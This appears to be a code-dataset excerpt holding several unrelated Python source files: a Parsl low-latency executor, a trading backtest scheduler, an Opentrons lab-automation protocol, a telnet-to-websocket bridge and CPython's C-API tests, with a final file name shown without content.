source
stringlengths
3
86
python
stringlengths
75
1.04M
executor.py
"""LowLatencyExecutor for low latency task/lambda-function execution """ from concurrent.futures import Future import logging import threading import queue # import pickle from multiprocessing import Process, Queue from ipyparallel.serialize import pack_apply_message # ,unpack_apply_message from ipyparallel.serialize import deserialize_object # ,serialize_object from parsl.executors.low_latency import zmq_pipes from parsl.executors.low_latency import interchange from parsl.executors.errors import ScalingFailed, DeserializationError, BadMessage from parsl.executors.base import ParslExecutor # from parsl.dataflow.error import ConfigurationError from parsl.utils import RepresentationMixin from parsl.providers import LocalProvider logger = logging.getLogger(__name__) class LowLatencyExecutor(ParslExecutor, RepresentationMixin): """ TODO: docstring for LowLatencyExecutor """ def __init__(self, label='LowLatencyExecutor', provider=LocalProvider(), launch_cmd=None, address="127.0.0.1", worker_port=None, worker_port_range=(54000, 55000), interchange_port_range=(55000, 56000), # storage_access=None, working_dir=None, worker_debug=False, workers_per_node=1, # cores_per_worker=1.0, managed=True ): logger.debug("Initializing LowLatencyExecutor") self.label = label self.launch_cmd = launch_cmd self.provider = provider self.worker_debug = worker_debug # self.storage_access = storage_access if storage_access is not None else [] # if len(self.storage_access) > 1: # raise ConfigurationError('Multiple storage access schemes are not supported') self.working_dir = working_dir self.managed = managed self.blocks = [] self.tasks = {} self.workers_per_node = workers_per_node self._task_counter = 0 self.address = address self.worker_port = worker_port self.worker_port_range = worker_port_range self.interchange_port_range = interchange_port_range self.run_dir = '.' # TODO: add debugging, logdir, other functionality to workers if not launch_cmd: self.launch_cmd = """lowlatency_worker.py -n {workers_per_node} --task_url={task_url} --logdir={logdir}""" def start(self): """Create the Interchange process and connect to it. """ self.outgoing_q = zmq_pipes.TasksOutgoing( "127.0.0.1", self.interchange_port_range) self.incoming_q = zmq_pipes.ResultsIncoming( "127.0.0.1", self.interchange_port_range) self.is_alive = True self._queue_management_thread = None self._start_queue_management_thread() self._start_local_queue_process() logger.debug("Created management thread: {}" .format(self._queue_management_thread)) if self.provider: # debug_opts = "--debug" if self.worker_debug else "" l_cmd = self.launch_cmd.format( # debug=debug_opts, task_url=self.worker_task_url, workers_per_node=self.workers_per_node, logdir="{}/{}".format(self.run_dir, self.label)) self.launch_cmd = l_cmd logger.debug("Launch command: {}".format(self.launch_cmd)) self._scaling_enabled = self.provider.scaling_enabled logger.debug( "Starting LowLatencyExecutor with provider:\n%s", self.provider) if hasattr(self.provider, 'init_blocks'): try: for i in range(self.provider.init_blocks): block = self.provider.submit( self.launch_cmd, self.workers_per_node) logger.debug("Launched block {}:{}".format(i, block)) if not block: raise(ScalingFailed(self.provider.label, "Attempts to provision nodes via provider has failed")) self.blocks.extend([block]) except Exception as e: logger.error("Scaling out failed: {}".format(e)) raise e else: self._scaling_enabled = False logger.debug("Starting LowLatencyExecutor with no provider") def _start_local_queue_process(self): """ TODO: docstring """ comm_q = Queue(maxsize=10) self.queue_proc = Process(target=interchange.starter, args=(comm_q,), kwargs={"client_ports": (self.outgoing_q.port, self.incoming_q.port), "worker_port": self.worker_port, "worker_port_range": self.worker_port_range # TODO: logdir and logging level }) self.queue_proc.start() try: worker_port = comm_q.get(block=True, timeout=120) logger.debug( "Got worker port {} from interchange".format(worker_port)) except queue.Empty: logger.error( "Interchange has not completed initialization in 120s. Aborting") raise Exception("Interchange failed to start") self.worker_task_url = "tcp://{}:{}".format( self.address, worker_port) def _start_queue_management_thread(self): """ TODO: docstring """ if self._queue_management_thread is None: logger.debug("Starting queue management thread") self._queue_management_thread = threading.Thread( target=self._queue_management_worker) self._queue_management_thread.daemon = True self._queue_management_thread.start() logger.debug("Started queue management thread") else: logger.debug("Management thread already exists, returning") def _queue_management_worker(self): """ TODO: docstring """ logger.debug("[MTHREAD] queue management worker starting") while True: task_id, buf = self.incoming_q.get() # TODO: why does this hang? msg = deserialize_object(buf)[0] # TODO: handle exceptions task_fut = self.tasks[task_id] logger.debug("Got response for task id {}".format(task_id)) if "result" in msg: task_fut.set_result(msg["result"]) elif "exception" in msg: # TODO: handle exception pass elif 'exception' in msg: logger.warning("Task: {} has returned with an exception") try: s, _ = deserialize_object(msg['exception']) exception = ValueError("Remote exception description: {}".format(s)) task_fut.set_exception(exception) except Exception as e: # TODO could be a proper wrapped exception? task_fut.set_exception( DeserializationError("Received exception, but handling also threw an exception: {}".format(e))) else: raise BadMessage( "Message received is neither result nor exception") if not self.is_alive: break logger.info("[MTHREAD] queue management worker finished") def submit(self, func, *args, **kwargs): """ TODO: docstring """ self._task_counter += 1 task_id = self._task_counter logger.debug( "Pushing function {} to queue with args {}".format(func, args)) self.tasks[task_id] = Future() fn_buf = pack_apply_message(func, args, kwargs, buffer_threshold=1024 * 1024, item_threshold=1024) # Post task to the the outgoing queue self.outgoing_q.put(task_id, fn_buf) # Return the future return self.tasks[task_id] @property def scaling_enabled(self): return self._scaling_enabled def scale_out(self, blocks=1): """Scales out the number of active workers by the number of blocks specified. Parameters ---------- blocks : int # of blocks to scale out. Default=1 Raises: NotImplementedError """ r = [] for i in range(blocks): if self.provider: block = self.provider.submit( self.launch_cmd, self.workers_per_node) logger.debug("Launched block {}:{}".format(i, block)) if not block: raise(ScalingFailed(self.provider.label, "Attempts to provision nodes via provider has failed")) self.blocks.extend([block]) else: logger.error("No execution provider available") r = None return r def scale_in(self, blocks): """Scale in the number of active blocks by specified amount. The scale in method here is very rude. It doesn't give the workers the opportunity to finish current tasks or cleanup. This is tracked in issue #530 Raises: NotImplementedError """ to_kill = self.blocks[:blocks] if self.provider: r = self.provider.cancel(to_kill) return r def status(self): """Return status of all blocks.""" status = [] if self.provider: status = self.provider.status(self.blocks) return status def shutdown(self, hub=True, targets='all', block=False): """Shutdown the executor, including all workers and controllers. This is not implemented. Kwargs: - hub (Bool): Whether the hub should be shutdown, Default:True, - targets (list of ints| 'all'): List of block id's to kill, Default:'all' - block (Bool): To block for confirmations or not Raises: NotImplementedError """ logger.warning("Attempting LowLatencyExecutor shutdown") # self.outgoing_q.close() # self.incoming_q.close() self.queue_proc.terminate() logger.warning("Finished LowLatencyExecutor shutdown attempt") return True
scheduler.py
import os import sys sys.path.append(os.path.join(os.getcwd().split('xtraderbacktest')[0],'xtraderbacktest')) import datetime import modules.common.scheduler import modules.other.logg import logging import modules.price_engine.price_loader as price_loader import modules.other.sys_conf_loader as sys_conf_loader import modules.price_engine.ticks_generater as ticks_generater import modules.price_engine.price_period_converter as price_period_converter import modules.other.date_converter as date_converter import modules.backtest.save_backtest_result as save_backtest_result import modules.backtest.backtest_result_analyse as backtest_result_analyse import modules.price_engine.tick_loader as tick_loader import modules.backtest.calendar_manager import pandas as pd from tqdm import tqdm #from tqdm.auto import tqdm import queue import threading import time import numpy as np TIMESTAMP_FORMAT = sys_conf_loader.get_sys_conf()["timeformat"] class Scheduler(modules.common.scheduler.Scheduler): def __init__(self,mode): self.mode = mode self.fake_tick = sys_conf_loader.get_sys_conf()["backtest_conf"]["tick_mode"]["is_fake"] self.strategy = None self.tick_queue = queue.Queue() self.stop_by_error = False self._calendar_manager = None def register_strategy(self,strategy): self.strategy = strategy self.strategy._set_mode("backtest") self.backtest_graininess = self.strategy.context["backtest_graininess"] if self.strategy.context["pre_post_market"] == "enable": self.use_pre_post_market_data = True else: self.use_pre_post_market_data = False self.ohlc = OHLCManager(mode = sys_conf_loader.get_sys_conf()["backtest_conf"]["price_data_mode"]["mode"],symbols = strategy.context["symbols"],fr = self.strategy.context["start_date"],to = self.strategy.context["end_date"],graininess=self.backtest_graininess,pre_post_market=self.use_pre_post_market_data) self.strategy.init() def _generate_queue(self,fr,to): # generate fake ticks logging.info("Processing data before running backtest.") # Get the set of date_list first date_set = set() with tqdm(total=len(self.ohlc.keys()),desc="Processing Data",colour ="green", ascii=True) as bar: for symbol in self.ohlc.keys(): df = self.ohlc.get(symbol).copy() df = df[(df.index >= pd.to_datetime(fr)) & (df.index <= pd.to_datetime(to))].copy() date_set.update(pd.to_datetime(df.index.values).tolist()) bar.update(1) bar.close() # freq = date_converter.convert_period_to_seconds_pandas(self.backtest_graininess) # per1 = pd.date_range(start =fr, end =to, freq = freq) # for val in per1: # date_set.add(val) date_set = sorted(date_set) logging.info("Symbol length "+ str(len(self.ohlc.keys())) + " Date Length " + str(len(date_set))) display_dict = { "date":"" } with tqdm(total= len(date_set),desc="Tick Generator",colour ="green", ascii=True,postfix = display_dict,) as process_tick_bar: for date in date_set: temp_ticks = {} for symbol in self.ohlc.keys(): if date in self.ohlc.get(symbol).index: date_str = str(date) if date_str not in temp_ticks.keys(): temp_ticks[date_str] = [] row = self.ohlc.get(symbol).loc[date] fake_ticks = ticks_generater.generate_fake_ticks(symbol,date,row) temp_ticks[date_str].extend(fake_ticks) else: #print(date,"not in self.ohlc.get(symbol).index") pass # sort the temp ticks for date_str in temp_ticks.keys(): temp_ticks[date_str] = sorted(temp_ticks[date_str], key=lambda k: k['date']) if self.stop_by_error is True: break # put into queue for date_str in temp_ticks.keys(): for item in temp_ticks[date_str]: self.tick_queue.put(item) while(self.tick_queue.qsize() > 50000): time.sleep(1) process_tick_bar.update(1) display_dict = { "date":str(date) } process_tick_bar.set_postfix(display_dict) process_tick_bar.close() self.tick_queue.put({"end":"end"}) def _loop_ticks(self,last_min,total_ticks): # loop ticks logging.info("Start looping ticks.") display_dict = { "deposit":str(round(self.strategy.order_manager.position.deposit,2)), "total_pnl ":str(round(self.strategy.order_manager.position.deposit - self.strategy.order_manager.position._init_deposit,2)), "float_pnl ":str(round(self.strategy.order_manager.position.float_pnl,2)), "date":"" } with tqdm(total=total_ticks,desc="Tick Looper", postfix = display_dict, colour="green", ascii=True) as loop_tick_bar: try: tick = {"start":"start"} last_ticks = {} while("end" not in tick.keys()): while(self.tick_queue.empty()): time.sleep(0.2) tick = self.tick_queue.get() if "end" not in tick.keys(): date_str = tick["date"][0:10] if self._calendar_manager is None and self.strategy.context["calendar_event"] == "enable": self._calendar_manager = modules.backtest.calendar_manager.CalendarManager(tick["date"]) calendar_event_list = self._calendar_manager.get_events() self.strategy.calendar_list.extend(calendar_event_list) # handle to strategy internal fuc to deal with basic info, such as datetime self.strategy._round_check_before(tick) try: self.strategy.handle_tick(tick) except Exception as e: self.stop_by_error = True logging.error("Error in handle tick.") logging.exception(e) # handle to strategy internal fuc to deal with order handling, calculations and etc new_bars,new_grainness = self.strategy._round_check_after(tick) if new_grainness and self.strategy.context["calendar_event"] == "enable": calendar_event_list = self._calendar_manager.round_check(tick["date"]) if len(calendar_event_list) > 0: for event in calendar_event_list: e = { "type": "calendar", "body":event } self.strategy.handle_event(e) self.strategy.calendar_list.extend(calendar_event_list) # if there is a new bar for the timeframe specified by strategy if len(new_bars) > 0 : for new_bar in new_bars: # handle it to the strategy's logic to process new bar new_bar_dict = { "open":new_bar.open, "high":new_bar.high, "close":new_bar.close, "low":new_bar.low, "date":new_bar.date, "symbol":new_bar.symbol, "volume":new_bar.volume, "open_interest":new_bar.open_interest, "period":new_bar.period, } try: self.strategy.handle_bar(new_bar_dict,new_bar_dict["period"]) except Exception as e: self.stop_by_error = True logging.error("Error in handle bar.") logging.exception(e) # handle to strategy internal fuc to deal with order handling, calculations and etc self.strategy._round_check_before(tick) self.strategy._update_position() self.strategy._round_check_after_day(tick) loop_tick_bar.update(1) display_dict = { "margin_rate":str(round(self.strategy.order_manager.position.get_margin_rate()*100,2)) + '%', "deposit":str(round(self.strategy.order_manager.position.deposit,2)), "total_pnl ":str(round(self.strategy.order_manager.position.deposit - self.strategy.order_manager.position._init_deposit,2)), "float_pnl ":str(round(self.strategy.order_manager.position.float_pnl,2)), "date":tick["date"] } loop_tick_bar.set_postfix(display_dict) last_ticks[tick["symbol"]] = tick # when it comes to end self.strategy.close_all_position() self.strategy.withdraw_pending_orders() for symbol in last_ticks.keys(): self.strategy._round_check_after(last_ticks[symbol]) except Exception as e: self.stop_by_error = True logging.error("Internal Error.") logging.exception(e) loop_tick_bar.close() def _send_real_ticks(self,real_ticks): with tqdm(total=len(real_ticks),desc="Tick Sender",color="green", ascii=True) as loop_tick_bar: for tick in real_ticks: self.tick_queue.put(tick) loop_tick_bar.update(1) loop_tick_bar.close() self.tick_queue.put({"end":"end"}) def start(self): logging.info("Backtest Start.") if self.strategy is None: logging.error("There is no registered strategy.") return # get all symbols that the backtest need. symbols = self.strategy.context["symbols"] # get the time from and to fr = self.strategy.context["start_date"] to = self.strategy.context["end_date"] if self.fake_tick is False: # get real ticks real_ticks = [] for symbol in self.ohlc.keys(): real_ticks.extend(tick_loader.load_ticks(symbol,fr,to)) # sort the real_ticks real_ticks = sorted(real_ticks, key=lambda k: k['date']) tick_t = threading.Thread(target = self._send_real_ticks,args=(real_ticks,)) tick_t.start() else: tick_t = threading.Thread(target = self._generate_queue,args=(fr,to)) tick_t.start() # preload the dataframe into strategy logging.info("Preloading ohlc into strategy") with tqdm(total=len(self.ohlc.keys()),desc="Preloading ohlc",colour="green", ascii=True) as bar: for symbol in self.ohlc.keys(): df = self.ohlc.get(symbol).copy() df = df[(df.index < pd.to_datetime(fr))].copy(deep = True) self.strategy._preload_data(symbol,df) bar.update(1) bar.close() # start tick processing thread date_set = set() for symbol in self.ohlc.keys(): df = self.ohlc.get(symbol).copy() df = df[(df.index >= pd.to_datetime(fr)) & (df.index <= pd.to_datetime(to))].copy() date_set.update(pd.to_datetime(df.index.values).tolist()) date_set = sorted(date_set) # print(date_set) # date_set = set() # freq = date_converter.convert_period_to_seconds_pandas(self.backtest_graininess) # per1 = pd.date_range(start =fr, end =to, freq = freq) # for val in per1: # date_set.add(val) # date_set = sorted(date_set) total_ticks = len(date_set) * len(self.ohlc.keys()) * 4 strategy_t = threading.Thread(target = self._loop_ticks,args=("123",total_ticks)) strategy_t.start() strategy_t.join() if self.stop_by_error is True: logging.error("Scheduler was stopped by error.") return logging.info("Start collecting backtest results.") pars = self.strategy.context pars["custom"] = self.strategy.pars backtest_result = { "pars":pars, "orders":self.strategy.order_manager._orders_history, "positions":self.strategy.order_manager.position.history_position, "reverse_position":self.strategy.order_manager.reverse_position.history_position, "closed_fund":self.strategy.order_manager.position.closed_fund, "float_fund":self.strategy.order_manager.position.float_fund, "reverse_closed_fund":self.strategy.order_manager.reverse_position.closed_fund, "reverse_float_fund":self.strategy.order_manager.reverse_position.float_fund, "custom_chart":self.strategy._custom_charts, } if pars["reverse_mode"] == "enable": position_analyser = backtest_result_analyse.TradeBook(self.strategy.order_manager.reverse_position.history_position) else: position_analyser = backtest_result_analyse.TradeBook(self.strategy.order_manager.position.history_position) backtest_result["summary"] = position_analyser.summary() backtest_result["price_data"] = {} for symbol in self.ohlc.keys(): df = self.ohlc.get(symbol).copy() df = df.reset_index() df['timestamp'] = df['date'].values.astype(np.int64) // 10 ** 9 df['date'] = df["date"].dt.strftime("%Y-%m-%d %H:%M:%S") backtest_result["price_data"][symbol] = df.to_dict('records') if len(self.strategy.order_manager.position.history_position) > 0: save_backtest_result.save_result(backtest_result) if self.mode == "scanner": logging.info("Saving scanner result") scanner_result = self.strategy.scanner_result save_backtest_result.save_scanner_result(scanner_result,strategy_name=self.strategy.context["strategy_name"]) logging.info("Congratulation!! The backtest finished. Hope you find The Holy Grail.") if "summary" in backtest_result.keys(): return backtest_result["summary"] else: return None class OHLCManager(): def __init__(self, mode, symbols, fr, to, graininess="1m",pre_post_market = True): self._mode = mode self._symbols = symbols self._ohlc = {} self._fr = fr self._to = to self.graininess = graininess pre_load_mins = sys_conf_loader.get_sys_conf()["backtest_conf"]["price_preload"] self._fr_load = (datetime.datetime.strptime(fr,TIMESTAMP_FORMAT) - datetime.timedelta(minutes=pre_load_mins)).strftime(TIMESTAMP_FORMAT) if mode == "ram": # Load All into logging.info("Loading data into RAM...") with tqdm(total=len(symbols),colour="green", ascii=True) as pbar: for symbol in symbols: try: #print(symbol) #print(pre_post_market) #exit(0) df = price_loader.load_price(symbol,self._fr_load,self._to,"backtest",print_log=False) df = price_period_converter.convert(df,self.graininess, pre_post_market = pre_post_market) self._ohlc[symbol] = df #print(df) #exit(0) pbar.update(1) except Exception as e: logging.error("Crash when loading data. " + symbol) logging.exception(e) exit(0) pbar.close() def keys(self): return self._symbols def get(self,symbol): if self._mode == "ram": return self._ohlc[symbol] elif self._mode == "disk": if symbol in self._ohlc.keys(): df = self._ohlc[symbol] else: df = price_loader.load_price(symbol,self._fr_load,self._to,"backtest",False) df = price_period_converter.convert(df,self.graininess) if len(self._ohlc.keys()) > 9999: # pop one del self._ohlc[list(self._ohlc.keys())[0]] self._ohlc[symbol] = df return df
v3_station_b_S8_chemagen_200ulinput.py
from opentrons.types import Point import json import os import math import threading from time import sleep metadata = { 'protocolName': 'Version 3 S8 Station B Perkin Elmer Chemagen (200µl sample input)', 'author': 'Nick <ndiehl@opentrons.com', 'apiLevel': '2.3' } NUM_SAMPLES = 8 # start with 8 samples, slowly increase to 48, then 94 (max is 94) ELUTION_VOL = 50 STARTING_VOL = 620 TIP_TRACK = False PARK = True # Definitions for deck light flashing class CancellationToken: def __init__(self): self.is_continued = False def set_true(self): self.is_continued = True def set_false(self): self.is_continued = False def turn_on_blinking_notification(hardware, pause): while pause.is_continued: hardware.set_lights(rails=True) sleep(1) hardware.set_lights(rails=False) sleep(1) def create_thread(ctx, cancel_token): t1 = threading.Thread(target=turn_on_blinking_notification, args=(ctx._hw_manager.hardware, cancel_token)) t1.start() return t1 # Start protocol def run(ctx): # Setup for flashing lights notification to empty trash # cancellationToken = CancellationToken() # load labware and pipettes num_cols = math.ceil(NUM_SAMPLES/8) tips300 = [ctx.load_labware('opentrons_96_tiprack_300ul', slot, '200µl filtertiprack') for slot in ['3', '6', '8', '9', '10']] if PARK: parkingrack = ctx.load_labware( 'opentrons_96_tiprack_300ul', '7', '200µl filtertiprack for parking') parking_spots = parkingrack.rows()[0][:num_cols] else: tips300.insert(0, ctx.load_labware('opentrons_96_tiprack_300ul', '7', '200µl filtertiprack')) parking_spots = [None for none in range(12)] m300 = ctx.load_instrument( 'p300_multi_gen2', 'left', tip_racks=tips300) magdeck = ctx.load_module('magdeck', '4') magdeck.disengage() magheight = 13.7 magplate = magdeck.load_labware('nest_96_wellplate_2ml_deep') # magplate = magdeck.load_labware('biorad_96_wellplate_200ul_pcr') tempdeck = ctx.load_module('Temperature Module Gen2', '1') flatplate = tempdeck.load_labware( 'opentrons_96_aluminumblock_nest_wellplate_100ul',) waste = ctx.load_labware('nest_1_reservoir_195ml', '11', 'Liquid Waste').wells()[0].top() res2 = ctx.load_labware( 'nest_12_reservoir_15ml', '2', 'reagent reservoir 2') res1 = ctx.load_labware( 'nest_12_reservoir_15ml', '5', 'reagent reservoir 1') binding_buffer = res1.wells()[:8] elution_solution = res1.wells()[-1] wash3 = res2.wells()[:4] wash4 = res2.wells()[4:8] wash5 = res2.wells()[8:] mag_samples_m = magplate.rows()[0][:num_cols] elution_samples_m = flatplate.rows()[0][:num_cols] magdeck.disengage() # just in case tempdeck.set_temperature(4) m300.flow_rate.aspirate = 50 m300.flow_rate.dispense = 150 m300.flow_rate.blow_out = 300 folder_path = '/data/B' tip_file_path = folder_path + '/tip_log.json' tip_log = {'count': {}} if TIP_TRACK and not ctx.is_simulating(): if os.path.isfile(tip_file_path): with open(tip_file_path) as json_file: data = json.load(json_file) if 'tips300' in data: tip_log['count'][m300] = data['tips300'] else: tip_log['count'][m300] = 0 else: tip_log['count'][m300] = 0 else: tip_log['count'] = {m300: 0} tip_log['tips'] = { m300: [tip for rack in tips300 for tip in rack.rows()[0]]} tip_log['max'] = {m300: len(tip_log['tips'][m300])} def pick_up(pip, loc=None): nonlocal tip_log if tip_log['count'][pip] == tip_log['max'][pip] and not loc: ctx.pause('Replace ' + str(pip.max_volume) + 'µl tipracks before \ resuming.') pip.reset_tipracks() tip_log['count'][pip] = 0 if loc: pip.pick_up_tip(loc) else: pip.pick_up_tip(tip_log['tips'][pip][tip_log['count'][pip]]) tip_log['count'][pip] += 1 switch = True drop_count = 0 drop_threshold = 120 # number of tips trash will accommodate before prompting user to empty def drop(pip): nonlocal switch nonlocal drop_count side = 30 if switch else -18 drop_loc = ctx.loaded_labwares[12].wells()[0].top().move( Point(x=side)) pip.drop_tip(drop_loc) switch = not switch drop_count += 8 if drop_count == drop_threshold: # Setup for flashing lights notification to empty trash # if not ctx._hw_manager.hardware.is_simulator: # cancellationToken.set_true() # thread = create_thread(ctx, cancellationToken) m300.home() ctx.pause('Please empty tips from waste before resuming.') ctx.home() # home before continuing with protocol # cancellationToken.set_false() # stop light flashing after home # thread.join() drop_count = 0 waste_vol = 0 waste_threshold = 185000 def remove_supernatant(vol, park=False): def waste_track(vol): nonlocal waste_vol if waste_vol + vol >= waste_threshold: # Setup for flashing lights notification to empty liquid waste # if not ctx._hw_manager.hardware.is_simulator: # cancellationToken.set_true() # thread = create_thread(ctx, cancellationToken) m300.home() ctx.pause('Please empty liquid waste (slot 11) before resuming.') ctx.home() # home before continuing with protocol # cancellationToken.set_false() # stop light flashing after home # thread.join() waste_vol = 0 waste_vol += vol m300.flow_rate.aspirate = 30 num_trans = math.ceil(vol/200) vol_per_trans = vol/num_trans for i, (m, spot) in enumerate(zip(mag_samples_m, parking_spots)): if park: pick_up(m300, spot) else: pick_up(m300) side = -1 if i % 2 == 0 else 1 loc = m.bottom(0.5).move(Point(x=side*2)) for _ in range(num_trans): waste_track(vol_per_trans) if m300.current_volume > 0: m300.dispense(m300.current_volume, m.top()) # void air gap if necessary m300.move_to(m.center()) m300.transfer(vol_per_trans, loc, waste, new_tip='never', air_gap=20) m300.blow_out(waste) m300.air_gap(20) drop(m300) m300.flow_rate.aspirate = 150 def bind(vol, park=True): # add bead binding buffer and mix samples latest_chan = -1 for i, (well, spot) in enumerate(zip(mag_samples_m, parking_spots)): # source = binding_buffer[i//(12//len(binding_buffer))] if park: pick_up(m300, loc=spot) else: pick_up(m300) num_trans = math.ceil(vol/200) vol_per_trans = vol/num_trans asp_per_chan = 14000//(vol_per_trans*8) for t in range(num_trans): chan_ind = int((i*num_trans + t)//asp_per_chan) source = binding_buffer[chan_ind] if chan_ind > latest_chan: # mix if accessing new channel for _ in range(5): m300.aspirate(180, source.bottom(0.5)) m300.dispense(180, source.bottom(5)) latest_chan = chan_ind if m300.current_volume > 0: m300.dispense(m300.current_volume, source.top()) # void air gap if necessary m300.transfer(vol_per_trans, source, well.top(), air_gap=20, new_tip='never') if t == 0: m300.air_gap(20) m300.mix(5, 200, well) m300.blow_out(well.top(-2)) m300.air_gap(20) if park: m300.drop_tip(spot) else: drop(m300) magdeck.engage(height=magheight) ctx.delay(minutes=2, msg='Incubating on MagDeck for 2 minutes.') # remove initial supernatant remove_supernatant(vol+STARTING_VOL, park=park) def wash(wash_vol, source, mix_reps=15, park=True, resuspend=True): if resuspend and magdeck.status == 'engaged': magdeck.disengage() num_trans = math.ceil(wash_vol/200) vol_per_trans = wash_vol/num_trans for i, (m, spot) in enumerate(zip(mag_samples_m, parking_spots)): pick_up(m300) side = 1 if i % 2 == 0 else -1 loc = m.bottom(0.5).move(Point(x=side*2)) src = source[i//(12//len(source))] for n in range(num_trans): if m300.current_volume > 0: m300.dispense(m300.current_volume, src.top()) m300.transfer(vol_per_trans, src, m.top(), air_gap=20, new_tip='never') if n < num_trans - 1: # only air_gap if going back to source m300.air_gap(20) if resuspend: m300.mix(mix_reps, 150, loc) m300.blow_out(m.top()) m300.air_gap(20) if park: m300.drop_tip(spot) else: drop(m300) if magdeck.status == 'disengaged': magdeck.engage(height=magheight) engage_seconds = 120 if resuspend else 30 ctx.delay(seconds=engage_seconds, msg='Incubating on MagDeck for \ ' + str(engage_seconds) + ' seconds.') remove_supernatant(wash_vol, park=park) def elute(vol, park=True): # resuspend beads in elution if magdeck.status == 'enagaged': magdeck.disengage() for i, (m, spot) in enumerate(zip(mag_samples_m, parking_spots)): pick_up(m300) side = 1 if i % 2 == 0 else -1 loc = m.bottom(0.5).move(Point(x=side*2)) m300.aspirate(vol, elution_solution) m300.move_to(m.center()) m300.dispense(vol, loc) m300.mix(10, 0.8*vol, loc) m300.blow_out(m.bottom(5)) m300.air_gap(20) if park: m300.drop_tip(spot) else: drop(m300) # agitate after resuspension for i, (m, spot) in enumerate(zip(mag_samples_m, parking_spots)): if park: pick_up(m300, spot) else: pick_up(m300) side = 1 if i % 2 == 0 else -1 loc = m.bottom(0.5).move(Point(x=side*2)) m300.mix(10, 0.8*vol, loc) m300.blow_out(m.bottom(5)) m300.air_gap(20) if park: m300.drop_tip(spot) else: drop(m300) magdeck.engage(height=magheight) ctx.delay(minutes=2, msg='Incubating on magnet at room temperature \ for 2 minutes') for i, (m, e, spot) in enumerate( zip(mag_samples_m, elution_samples_m, parking_spots)): if park: pick_up(m300, spot) else: pick_up(m300) side = -1 if i % 2 == 0 else 1 loc = m.bottom(0.5).move(Point(x=side*2)) m300.transfer(vol, loc, e.bottom(5), air_gap=20, new_tip='never') m300.blow_out(e.top(-2)) m300.air_gap(20) m300.drop_tip() magdeck.engage(height=magheight) ctx.delay(minutes=2, msg='Incubating on MagDeck for 2 minutes.') bind(1000, park=PARK) wash(500, wash3, park=PARK) wash(500, wash4, park=PARK) # wash(500, wash5, park=PARK, resuspend=False) magdeck.disengage() ctx.delay(minutes=10, msg='Allowing the Magnetic Bead/NAComplex to air-dry \ at room temperature for approx. 10 minutes.') elute(ELUTION_VOL, park=PARK)
telnet.py
import telnetlib import sys import json from threading import Thread import time class Telnet: def __init__(self, websocker, message): self.websocker = websocker self.message = message def connect(self, host, port=23): try: tn = telnetlib.Telnet(host, port) self.channel = tn Thread(target=self.django_to_websocket).start() except Exception as e: self.message['status'] = 0 self.message['message'] = str(e)+'\r\n' message = json.dumps(self.message) self.websocker.send(message) self.close() def close(self): if self.channel: self.channel.close() self.websocker.close() def django_to_telnet(self, data): try: self.channel.write(data.encode('ascii')) except: self.close() def format_data(self, s): return s if sys.version[0] == '2' else s.decode('ascii') def django_to_websocket(self): try: while True: data = self.channel.read_very_eager() # print(data) if not len(data) and data == b'': pass # time.sleep(0.1) # return else: self.message['status'] = 0 self.message['message'] = self.format_data(data) message = json.dumps(self.message) self.websocker.send(message) except: self.close() def shell(self, data): Thread(target=self.django_to_telnet, args=(data,)).start()
test_capi.py
# Run the _testcapi module tests (tests for the Python/C API): by defn, # these are all functions _testcapi exports whose name begins with 'test_'. from __future__ import with_statement import sys import time import random import unittest from test import test_support as support try: import thread import threading except ImportError: thread = None threading = None # Skip this test if the _testcapi module isn't available. _testcapi = support.import_module('_testcapi') class CAPITest(unittest.TestCase): def test_buildvalue_N(self): _testcapi.test_buildvalue_N() @unittest.skipUnless(threading, 'Threading required for this test.') class TestPendingCalls(unittest.TestCase): def pendingcalls_submit(self, l, n): def callback(): #this function can be interrupted by thread switching so let's #use an atomic operation l.append(None) for i in range(n): time.sleep(random.random()*0.02) #0.01 secs on average #try submitting callback until successful. #rely on regular interrupt to flush queue if we are #unsuccessful. while True: if _testcapi._pending_threadfunc(callback): break; def pendingcalls_wait(self, l, n, context = None): #now, stick around until l[0] has grown to 10 count = 0; while len(l) != n: #this busy loop is where we expect to be interrupted to #run our callbacks. Note that callbacks are only run on the #main thread if False and support.verbose: print "(%i)"%(len(l),), for i in xrange(1000): a = i*i if context and not context.event.is_set(): continue count += 1 self.assertTrue(count < 10000, "timeout waiting for %i callbacks, got %i"%(n, len(l))) if False and support.verbose: print "(%i)"%(len(l),) def test_pendingcalls_threaded(self): #do every callback on a separate thread n = 32 #total callbacks threads = [] class foo(object):pass context = foo() context.l = [] context.n = 2 #submits per thread context.nThreads = n // context.n context.nFinished = 0 context.lock = threading.Lock() context.event = threading.Event() threads = [threading.Thread(target=self.pendingcalls_thread, args=(context,)) for i in range(context.nThreads)] with support.start_threads(threads): self.pendingcalls_wait(context.l, n, context) def pendingcalls_thread(self, context): try: self.pendingcalls_submit(context.l, context.n) finally: with context.lock: context.nFinished += 1 nFinished = context.nFinished if False and support.verbose: print "finished threads: ", nFinished if nFinished == context.nThreads: context.event.set() def test_pendingcalls_non_threaded(self): #again, just using the main thread, likely they will all be dispatched at #once. It is ok to ask for too many, because we loop until we find a slot. #the loop can be interrupted to dispatch. #there are only 32 dispatch slots, so we go for twice that! l = [] n = 64 self.pendingcalls_submit(l, n) self.pendingcalls_wait(l, n) @unittest.skipUnless(threading and thread, 'Threading required for this test.') class TestThreadState(unittest.TestCase): @support.reap_threads def test_thread_state(self): # some extra thread-state tests driven via _testcapi def target(): idents = [] def callback(): idents.append(thread.get_ident()) _testcapi._test_thread_state(callback) a = b = callback time.sleep(1) # Check our main thread is in the list exactly 3 times. self.assertEqual(idents.count(thread.get_ident()), 3, "Couldn't find main thread correctly in the list") target() t = threading.Thread(target=target) t.start() t.join() def test_main(): for name in dir(_testcapi): if name.startswith('test_'): test = getattr(_testcapi, name) if support.verbose: print "internal", name try: test() except _testcapi.error: raise support.TestFailed, sys.exc_info()[1] support.run_unittest(CAPITest, TestPendingCalls, TestThreadState) if __name__ == "__main__": test_main()
mptools.py
